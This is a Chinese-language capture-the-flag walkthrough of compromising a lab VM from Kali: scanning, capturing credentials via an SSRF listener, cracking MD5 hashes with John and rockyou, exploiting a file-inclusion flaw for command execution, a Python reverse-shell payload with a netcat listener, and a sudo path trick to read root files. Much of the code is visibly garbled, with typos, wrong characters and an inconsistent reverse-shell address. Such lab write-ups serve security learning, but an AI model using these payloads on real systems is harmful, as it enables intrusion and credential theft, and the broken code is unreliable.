一点点,真的就一点点

前期准备:一个靶机(不知道登录账号与密码)

一个攻击机 Kali

Step1

不知道 IP ,但是两台机器都是使用的 Nat 网络,所以使用工具扫描一下,看看有哪些网段,其中192.168.88.*是攻击机的网段,扫描出了一个192.168.88.138的 IP

渗透

继续对这个 192.168.88.138 IP的端口进行扫描,发现了80端口是进行开放的,那我们就已经得到了具体的 IP + 端口的地址,尝试访问

渗透
渗透

Step2

注册进去过后发现项目文件查看与文件包含测试点击都会返回401状态码,但是使用网站访问测试功能确得到的是302的状态码

401状态

渗透

302状态

渗透

Step3

在 Kali 中启动一个 Flask 应用来接收靶机的 HTTP 请求

渗透
app=Flask(_name_)
@app.before_request
def log_headers():
print("===请求头信息===")
for key, value in request.headers.items():print(f"{key;:{value}")
print("================')
@app.route('/")
def index():
return"请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)

得到的回应

渗透

Authorization: Basic …请求头中的密码用了Base64 编码,反向解密一下可以得到fuli:wsGdwWQZTu7U4seseGaG,用此密码尝试登录成功

渗透

Step4

使用 . 看看当前路径下有什么文件,发现了敏感文件 mgmt_page

渗透

在当前 URL 路径中添加一下/mgmt_page

渗透

打开开发者工具可以查看到源码,并且得到了一个5位长度的密码的md5哈希

渗透

在 Kali 中使用 John 来爆破密码

#爆破 Key 中的哈希
john key --format=Raw-MD5

成功破解的哈希值和对应的明文密码

渗透
cat ~/.john/john.pot

成功拿到密码 SOUTH

Step5

在文件包含测试的 URL 中输入/api/include.php?file=mgmt_page&password=soUTH&cmd=whoami,可以正常的文件包含命令执行

渗透

利用文件包含漏洞进行远程命令执行,并尝试建立反向Shell的攻击Payload

/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.88.138%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,0s,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2];pty.spawn(%22sh%22)%27

在 Kali 中建立反向监听

#监听4444端口
nC -1vnp 4444
渗透

Step6

在/var/www 找到 flag1.txt flag1{e707593d8a4c4c4db9d4a2f020258e7b}

渗透

在 Web 中找到了数据库的密码

渗透

Step7

进入到数据库中

渗透

发现敏感文件 web_test_management

渗透

发现数据库存放了账户和密码,,发现 Password 字段是用户密码的明文拼接时问戳通过 Mds 计算出来的 Hash

渗透

查看 PHP 登录验证页面,根据源码分析根据用户输入的用户名,会从数据库中查看用户最后一次修改密码的时间戳,将该用户的密码与时间戳拼接,对拼接后的字符串进行 Md5 哈希,生成一个待验证的密码哈希值,这个新哈希值与数据库中的相对比,正确就可以进入欢迎页面

渗透

Step8

编写一个 Python 脚本来破译哈希

import hashlib 
with open("/usr/share/wordllists/rockyou.txt","rb") as f1:
dict=f1.read()
for iin dict.split(b"\n'"):
if hashlib.md5(i+b"1753128055").hexdigest()=="9eaf9317aac50c955575334a93d0b09c";
print(i)
break

得到结果 chispa

渗透

Step9

收集系统信息,在/etc/passwd中得到系统用户 benjamin,使用上面得到的密码进行尝试登录成功

渗透

获得 benjamin 用户主目录下的flag2.txtflag2{8437b8760a7a4717ad4e4e1568a9301e}

渗透

继续收集信息,使用 sudo -l 发现在 benjamin 用户有/bin/cat/root/notes/*的权限,根目录下有最后的 Flag3.txt 文件,那么就可以使用 sudo 逃逸去读取最后的 Flag 文件

渗透
渗透

...........................